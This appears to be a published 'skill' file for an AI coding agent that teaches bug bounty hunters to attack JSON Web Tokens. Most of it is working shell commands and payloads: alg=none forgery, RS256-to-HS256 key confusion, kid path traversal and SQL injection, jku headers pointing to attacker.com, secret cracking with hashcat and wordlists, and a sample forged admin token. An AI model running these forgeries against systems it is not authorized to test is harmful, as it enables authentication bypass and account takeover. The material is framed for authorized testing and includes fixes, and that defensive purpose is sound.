19 jwt attacks
Skill 0xGhostCAT/claude-ai-cyber-security-skills/skills/19-jwt-attacks
30 Claude Code Skills + 60+ integrated tools for HackerOne/Bugcrowd bug bounty hunters
npx -y skills add 0xGhostCAT/claude-ai-cyber-security-skills --skill 19-jwt-attacksAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- no licenseNo license file was found in the repository. Code published without one is not open source by default, so using it at work is a question for whoever answers licensing questions where you are.
What its author says it does
Copied from the file, not written here
Hunt JSON Web Token (JWT) vulnerabilities — alg=none bypass, RS256→HS256 key confusion, weak HMAC secret cracking, kid path traversal, JWKS injection, jku/x5u header attacks, embedded JWK confusion, expired-token acceptance, claim mutability, and token replay. Use when an app uses JWT for authentication or stateless sessions.
SKILL.md
10.2 KB, as published. Nobody here has run it
JWT Attacks
Bearer token = signed JSON. Signing wrong = pwned.
When to invoke
Trigger phrases:
- "JWT bypass"
- "alg=none"
- "JWT key confusion"
- "token attack"
- "Bearer token"
JWT primer
header.payload.signature
└──┬──┘ └───┬───┘ └───┬───┘
│ │ │
│ │ └── HMAC or RS/ES signature over base64url(header) + "." + base64url(payload)
│ └── base64url-encoded JSON: claims (sub, exp, role, etc.)
└── base64url-encoded JSON: algorithm + key info
Standard header:
{"alg":"HS256","typ":"JWT"}
Standard payload:
{"sub":"[email protected]","role":"user","exp":1717267200}
The 10 JWT attack patterns
Attack 1: alg=none
The "none" algorithm explicitly means no signature. Some libs accept it.
# Original token
ORIG="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyIn0.SIGNATURE"
# Modified
HDR=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w 0 | tr '+/' '-_' | tr -d '=')
PLD=$(echo -n '{"sub":"admin","role":"admin"}' | base64 -w 0 | tr '+/' '-_' | tr -d '=')
echo "$HDR.$PLD." # No signature, but valid format
Try variants:
alg: "none"← classicalg: "None"← capitalizationalg: "NONE"alg: "nOnE"alg: ""
Attack 2: RS256 → HS256 key confusion
If server uses RS256 (public/private), and accepts HS256 (symmetric), you can sign with the public key as the HMAC secret.
# Get the public key (often at /.well-known/jwks.json or /jwks)
curl https://target.com/.well-known/jwks.json
# Or embedded in pages, or sometimes published
# Convert JWK to PEM
# Or simply find the cert/pubkey
PUBKEY=public.pem
# Forge HS256 JWT using public key as secret
# Use jwt_tool:
python3 jwt_tool.py "$ORIG_TOKEN" -X k -pk "$PUBKEY"
# Or manually:
HDR=$(echo -n '{"alg":"HS256","typ":"JWT"}' | base64 -w 0 | tr '+/' '-_' | tr -d '=')
PLD=$(echo -n '{"sub":"admin","role":"admin"}' | base64 -w 0 | tr '+/' '-_' | tr -d '=')
PUBKEY_CONTENT=$(cat "$PUBKEY")
SIG=$(echo -n "$HDR.$PLD" | openssl dgst -sha256 -mac HMAC -macopt "key:$PUBKEY_CONTENT" -binary | base64 -w 0 | tr '+/' '-_' | tr -d '=')
echo "$HDR.$PLD.$SIG"
Attack 3: Weak HMAC secret (crack it)
If HS256 with a weak secret like "secret" or "1234":
# jwtcat (fast)
jwtcat "$JWT_TOKEN" -w ~/tools/SecLists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt
# hashcat (faster)
echo "$JWT_TOKEN" > hash.txt
hashcat -m 16500 hash.txt ~/tools/SecLists/Passwords/rockyou.txt
# John
john --format=HMAC-SHA256 --wordlist=rockyou.txt hash.txt
Common weak secrets to try first:
secret
1234
admin
password
JWT_SECRET
your-256-bit-secret
my-very-secret-key
SECRET_KEY
test
key
abcdefg
HelloWorld
mysecret
JWT
Attack 4: kid (key ID) path traversal
kid tells the server which key to use. If it's read from filesystem:
{"alg":"HS256","kid":"../../../../../../dev/null","typ":"JWT"}
Server reads /dev/null → empty file → HMAC key is empty → forge token with empty key:
HDR='{"alg":"HS256","kid":"../../../../../dev/null","typ":"JWT"}'
PLD='{"sub":"admin"}'
HDR_B64=$(echo -n "$HDR" | base64 -w 0 | tr '+/' '-_' | tr -d '=')
PLD_B64=$(echo -n "$PLD" | base64 -w 0 | tr '+/' '-_' | tr -d '=')
SIG=$(echo -n "$HDR_B64.$PLD_B64" | openssl dgst -sha256 -mac HMAC -macopt "key:" -binary | base64 -w 0 | tr '+/' '-_' | tr -d '=')
echo "$HDR_B64.$PLD_B64.$SIG"
Attack 5: kid SQL injection
If kid is fed into a SQL query for key lookup:
{"alg":"HS256","kid":"x' UNION SELECT 'attacker-secret","typ":"JWT"}
Then forge with secret attacker-secret.
Attack 6: jku / x5u header
jku and x5u point to a URL with the JWKS / certificate. If not validated against an allowlist:
{
"alg":"RS256",
"typ":"JWT",
"jku":"https://attacker.com/jwks.json"
}
Server fetches https://attacker.com/jwks.json → uses your public key → you sign with your private key → server trusts.
Set up the JWKS on attacker.com:
{
"keys": [{
"kty":"RSA",
"kid":"my-key-id",
"n":"...",
"e":"AQAB"
}]
}
Attack 7: Embedded JWK (jwk header)
If jwk header is in the JWT, server might use it as the verification key:
{
"alg":"RS256",
"typ":"JWT",
"jwk":{
"kty":"RSA",
"kid":"abc",
"n":"<YOUR_PUBLIC_N>",
"e":"AQAB"
}
}
Same as jku attack but inline.
Attack 8: Expired token reuse
Some implementations don't check exp:
# Take an expired token (yesterday's session)
# Send it → if accepted, bug
# Or modify `exp` to past, then sign with cracked secret
Attack 9: Claim mutability without re-sign verification
Some apps decode JWT but don't verify signature for certain endpoints:
# Modify payload claims (without re-signing)
# Decode → change "role": "user" → "role": "admin" → re-encode → send
# Some apps "trust client" for non-critical paths but pull role from JWT for auth checks
Attack 10: JWT in URL (logged → leaked)
If JWT is passed as URL parameter (?token=...):
- Tokens logged in proxy logs
- Tokens in
Refererheaders to 3rd parties - Tokens in browser history
Report as info disclosure + chain.
Step-by-Step Workflow
1. Capture JWTs from the app
Login flow → look in:
Authorization: Bearer ...headerCookie: jwt=...or similar- URL parameters (
?token=) - LocalStorage (via browser devtools)
- WebSocket connection upgrade headers
2. Decode (use jwt.io or CLI)
# Quick decode
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null
Or:
# jwt_tool
python3 jwt_tool.py "$JWT"
Note:
algvalue- Claims:
sub,role,email,iat,exp,iss,aud,tenant_id, etc. - Custom headers (
kid,jku,x5u,jwk)
3. Identify mutable claims
For each claim, try changing it (with re-signed token if needed):
role: "user"→"admin"/"superadmin"/"root"email: "[email protected]"→"[email protected]"(if email used for auth)tenant_id: 1→ other tenant IDs (cross-tenant)is_admin: false→truepermissions: ["read"]→["*"]/["admin"]
4. Try alg=none
Send modified token with alg: "none". If accepted → critical.
5. Test for weak HMAC
jwtcat "$JWT" -w wordlist.txt
6. Try kid path traversal
python3 jwt_tool.py "$JWT" -X i # injection mode
7. Use jwt_tool comprehensive
# All-tests mode (runs every attack)
python3 jwt_tool.py "$JWT" -M at
# Specific attack
python3 jwt_tool.py "$JWT" -X k -pk public.pem # key confusion
python3 jwt_tool.py "$JWT" -X a # alg=none
python3 jwt_tool.py "$JWT" -X i # injection
python3 jwt_tool.py "$JWT" -X k -jw key.jwk # JWK
8. Use Burp extension (JSON Web Tokens)
Burp BApp Store → install "JSON Web Tokens" (or "JWT Editor"). Auto-decodes and re-signs.
Output template
## Critical: Authentication bypass via JWT alg=none
### Summary
The JWT validator on api.target.com accepts tokens with `alg: "none"`. By stripping the signature, any attacker can forge a token for any user, including administrators.
### Steps to reproduce
1. Capture a valid JWT from a normal login:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIiLCJleHAiOjE3MTc1NTQwMDB9.SIGNATURE
2. Decode payload, change `sub` to `[email protected]` and `role` to `admin`
3. Create forged token with `alg: "none"`:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbkB0YXJnZXQuY29tIiwicm9sZSI6ImFkbWluIiwiZXhwIjoyMDAwMDAwMDAwfQ.
(Note trailing `.` — empty signature)
4. Send to admin endpoint:
```http
GET /api/v3/admin/users HTTP/1.1
Host: api.target.com
Authorization: Bearer <forged-token>
- Response:
200 OKwith full admin user list
Impact
- Full administrative access without credentials
- Any user can become any other user, including admins
- Bypass of all role-based access controls
Suggested fix
- Reject any JWT with
alg: "none" - Use a strict allowlist of algorithms (HS256 or RS256 only, never both interchangeably)
- Use a well-tested JWT library (jose, jjwt) with proper defaults
## Cross-references
- `[[auth-bypass]]` — JWT is one of many auth bypass paths
- `[[ato-chains]]` — JWT manipulation often = ATO
- `[[js-analysis]]` — JS bundles may leak JWT signing keys or test JWTs
## Common pitfalls
1. **Modifying claims without re-signing.** Most libs verify signature → modification rejected. You must crack/forge.
2. **Reporting "JWT in URL" alone.** Need impact chain.
3. **Trusting decoded payload as "secret".** JWT is signed, not encrypted. Anyone can decode.
4. **Testing alg=none on a single endpoint.** Often only specific endpoints have weak validation.
5. **Forgetting `exp` check.** Some test tokens succeed because `exp` happens to be valid.
## Quick JWT triage checklist
[ ] alg = none → critical [ ] HS256 cracked secret → critical [ ] RS256 → HS256 confusion → critical [ ] kid path traversal → critical [ ] jku not validated → critical [ ] embedded jwk → critical [ ] exp not validated → high (replay) [ ] iss not validated → medium (depends on impact) [ ] aud not validated → medium (cross-app reuse) [ ] role mutable + no re-sign check → critical
## Severity guide
| Finding | Severity |
|---|---|
| alg=none accepted | Critical |
| HS256 with crackable secret (< 8 chars) | Critical |
| Key confusion (RS→HS) | Critical |
| kid injection (path traversal / SQLi) | Critical |
| jku/x5u not validated | Critical |
| exp not enforced + replayable token | High |
| Token leaked via URL/log | Medium-High |
| JWT in non-HttpOnly cookie | Medium (combined with XSS = high) |